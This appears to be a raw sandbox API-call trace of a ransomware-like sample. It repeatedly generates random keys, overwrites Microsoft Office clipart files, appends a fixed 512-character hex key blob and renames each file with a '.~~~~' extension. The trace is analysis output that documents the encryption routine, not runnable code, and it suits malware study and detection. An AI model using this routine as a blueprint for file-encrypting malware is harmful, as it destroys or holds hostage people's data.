	[0103.771] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.771] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0103.771] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22376097086) returned 1
	[0103.771] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa7897eb0, dwHighDateTime=0x1d60e1e)) 
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863ad0
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863ad0 | out: hHeap=0x300000) returned 1
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.771] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.771] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0103.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.772] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2866fc0
	[0103.772] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.772] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0103.772] GetLastError () returned 0x0
	[0103.772] GetLastError () returned 0x0
	[0103.772] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0103.772] GetLastError () returned 0x0
	[0103.773] GetLastError () returned 0x0
	[0103.784] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe940, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.784] WriteFile (in: hFile=0x130, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x16c0, lpOverlapped=0x0) returned 1
	[0103.785] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0103.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.785] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.785] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.785] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.785] CloseHandle (hObject=0x130) returned 1
	[0103.785] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0103.786] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188519.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188519.wmf.~~~~")) returned 1
	[0103.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.787] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0103.787] GetLastError () returned 0x0
	[0103.787] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0103.789] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.789] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0103.789] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0103.790] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22377965487) returned 1
	[0103.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa78be010, dwHighDateTime=0x1d60e1e)) 
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863b08
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863b08 | out: hHeap=0x300000) returned 1
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0103.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867a70
	[0103.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.790] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0103.791] GetLastError () returned 0x0
	[0103.791] GetLastError () returned 0x0
	[0103.791] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0103.791] GetLastError () returned 0x0
	[0103.791] GetLastError () returned 0x0
	[0103.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc4a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.795] WriteFile (in: hFile=0x130, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3b5c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x3b5c, lpOverlapped=0x0) returned 1
	[0103.797] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0103.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.801] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0103.801] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0103.801] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0103.801] CloseHandle (hObject=0x130) returned 1
	[0103.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2961ee0
	[0103.801] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.~~~~")) returned 1
	[0103.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0103.803] GetLastError () returned 0x0
	[0103.803] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0103.805] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0103.805] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0103.805] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0103.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0103.805] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0103.806] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22379667929) returned 1
	[0103.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa78e4170, dwHighDateTime=0x1d60e1e)) 
	[0103.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0103.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0103.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0103.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863b40
	[0103.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0103.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863b40 | out: hHeap=0x300000) returned 1
	[0103.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0103.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0103.807] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2961ee0
	[0103.807] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0103.808] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867b08
	[0103.808] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2961ee0 | out: hHeap=0x300000) returned 1
	[0103.808] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0103.808] GetLastError () returned 0x0
	[0103.808] GetLastError () returned 0x0
	[0103.808] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0103.808] GetLastError () returned 0x0
	[0103.809] GetLastError () returned 0x0
	[0104.023] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffc162, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.023] WriteFile (in: hFile=0x130, lpBuffer=0x2972078*, nNumberOfBytesToWrite=0x3e9e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2972078*, lpNumberOfBytesWritten=0x26dfec0*=0x3e9e, lpOverlapped=0x0) returned 1
	[0104.024] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2972078 | out: hHeap=0x300000) returned 1
	[0104.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.030] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.030] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.030] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.031] CloseHandle (hObject=0x130) returned 1
	[0104.031] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.031] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188667.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188667.wmf.~~~~")) returned 1
	[0104.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.061] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.071] GetLastError () returned 0x0
	[0104.080] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0104.082] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.082] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.082] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22407230806) returned 1
	[0104.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa7b91a30, dwHighDateTime=0x1d60e1e)) 
	[0104.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863c20
	[0104.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863c20 | out: hHeap=0x300000) returned 1
	[0104.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867cd0
	[0104.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.083] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0104.083] GetLastError () returned 0x0
	[0104.083] GetLastError () returned 0x0
	[0104.083] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0104.084] GetLastError () returned 0x0
	[0104.084] GetLastError () returned 0x0
	[0104.088] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe35c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.088] WriteFile (in: hFile=0x130, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x1ca4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x26dfec0*=0x1ca4, lpOverlapped=0x0) returned 1
	[0104.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.089] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.090] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.090] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.090] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.090] CloseHandle (hObject=0x130) returned 1
	[0104.090] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d128
	[0104.090] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195248.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195248.wmf.~~~~")) returned 1
	[0104.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.091] GetLastError () returned 0x0
	[0104.092] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0104.093] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0104.093] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0104.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0104.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0104.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0104.093] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22408324363) returned 1
	[0104.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa7bb7b90, dwHighDateTime=0x1d60e1e)) 
	[0104.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0104.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0104.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0104.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2863c58
	[0104.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0104.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2863c58 | out: hHeap=0x300000) returned 1
	[0104.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0104.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0104.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x293d128
	[0104.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0104.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2867d68
	[0104.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d128 | out: hHeap=0x300000) returned 1
	[0104.094] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0104.094] GetLastError () returned 0x0
	[0104.094] GetLastError () returned 0x0
	[0104.094] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0104.094] GetLastError () returned 0x0
	[0104.095] GetLastError () returned 0x0
	[0104.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffdf86, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0104.097] WriteFile (in: hFile=0x130, lpBuffer=0x298b080*, nNumberOfBytesToWrite=0x207a, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x298b080*, lpNumberOfBytesWritten=0x26dfec0*=0x207a, lpOverlapped=0x0) returned 1
	[0104.098] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x298b080 | out: hHeap=0x300000) returned 1
	[0104.098] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0104.098] WriteFile (in: hFile=0x130, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0104.098] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0104.098] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0104.098] CloseHandle (hObject=0x130) returned 1
	[0104.098] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x293d278
	[0104.098] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0195260.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0195260.wmf.~~~~")) returned 1
	[0104.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x293d278 | out: hHeap=0x300000) returned 1
	[0104.099] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0104.099] GetLastError () returned 0x0
